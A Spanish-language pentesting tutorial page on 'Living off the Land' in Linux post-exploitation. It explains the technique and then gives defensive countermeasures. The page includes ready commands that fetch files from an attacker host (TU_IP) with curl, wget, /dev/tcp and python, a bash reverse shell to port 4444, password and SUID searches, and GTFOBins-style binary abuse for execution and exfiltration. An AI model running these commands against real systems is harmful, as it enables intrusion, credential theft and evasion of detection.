Saltearse al contenido

Living off the Land en Linux

“Living off the Land” (LOTL) es operar usando solo las herramientas que ya existen en el sistema, sin subir binarios propios. ¿Por qué? Porque subir herramientas deja ficheros que el EDR escanea y que delatan la intrusión; usar binarios legítimos del sistema (bash, python, curl, tar, los propios de la distro) se camufla entre la actividad normal. Es clave para el sigilo en post-explotación y a menudo la única opción cuando no puedes escribir en disco.

Cada binario legítimo tiene funciones “extra” que se pueden desviar para fines ofensivos: descargar ficheros, abrir shells, leer datos protegidos, ejecutar código, exfiltrar. GTFOBins cataloga exactamente estas capacidades por binario. LOTL es conocer qué hay instalado y exprimirlo.

Transferencia de ficheros sin herramientas externas

Sección titulada «Transferencia de ficheros sin herramientas externas»
# descargar con lo que haya
curl http://TU_IP/f -o f ; wget http://TU_IP/f
# si no hay curl/wget: bash puro
exec 3<>/dev/tcp/TU_IP/80; echo -e "GET /f HTTP/1.0\n" >&3; cat <&3 > f
# python / perl / php / ruby como descargadores
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://TU_IP/f","f")'
# servir ficheros desde el objetivo
python3 -m http.server 8000
# codificar/decodificar para canales de texto
base64 fichero # -> pegar -> base64 -d en el otro lado
# reverse shells con lo que hay (ver fund-cli)
bash -i >& /dev/tcp/TU_IP/4444 0>&1
python3 -c 'import socket,subprocess,os;...' # reverse shell en python
# ejecución desde intérpretes ya instalados (perl, php, ruby, nc, socat)
# estabilizar TTY con python pty (ver fund-cli)
# todo lo de lin-enum se hace con find/grep/cat/ls/ps/ss -> ya están
find / -perm -4000 2>/dev/null # SUID (nativo)
grep -rni password /etc 2>/dev/null # credenciales (nativo)
# evitar subir linpeas: hacerlo a mano si el sigilo es crítico
# ejemplos de "desvío" de binarios legítimos
tar, zip -> ejecutar comandos (--checkpoint-action, -TT)
find -exec -> ejecución
awk, sed, vi -> shell / lectura de ficheros
openssl -> cifrar/exfiltrar, incluso como cliente/servidor
systemd-run -> ejecutar como otro contexto
  • Sin IOCs de fichero: no subes malware que firmas/EDR detecten.
  • Se camufla: curl, python y tar son actividad legítima constante.
  • A veces obligatorio: FS de solo lectura, sin permiso de escritura, sin red saliente para descargar tools.
  • Es la base del enfoque fileless y de la evasión en Linux (paralelo a LOLBAS en Windows, ver Evasión de defensas (AMSI / AV / EDR)).
  • Logging de ejecución (auditd, eBPF): registrar qué binarios se ejecutan y con qué argumentos, no solo qué ficheros aparecen.
  • Detección por comportamiento: bash -i hacia /dev/tcp, python -c con sockets, tar --checkpoint-action, uso anómalo de curl/openssl.
  • Reducir binarios: imágenes mínimas (distroless) en contenedores; quitar intérpretes/herramientas innecesarias.
  • Egress filtering (frena descargas y reverse shells) y AppArmor/SELinux (confinar qué puede hacer cada proceso).
  • EDR Linux que entienda LOTL, no solo firmas de ficheros.
  • Inventariar qué binarios/intérpretes hay (which python curl wget nc socat perl)
  • Transferir ficheros sin subir herramientas (curl/bash /dev/tcp/python)
  • Reverse shell con binarios nativos (bash/python)
  • Enumeración a mano con find/grep/ps (evitar linpeas si hace falta sigilo)
  • Desviar binarios legítimos vía GTFOBins (tar/find/awk/openssl)
  • Exfiltrar por canales existentes (DNS/HTTP, base64)
  • Minimizar ficheros escritos en disco
  • Blue: ¿hay logging de ejecución y detección por comportamiento?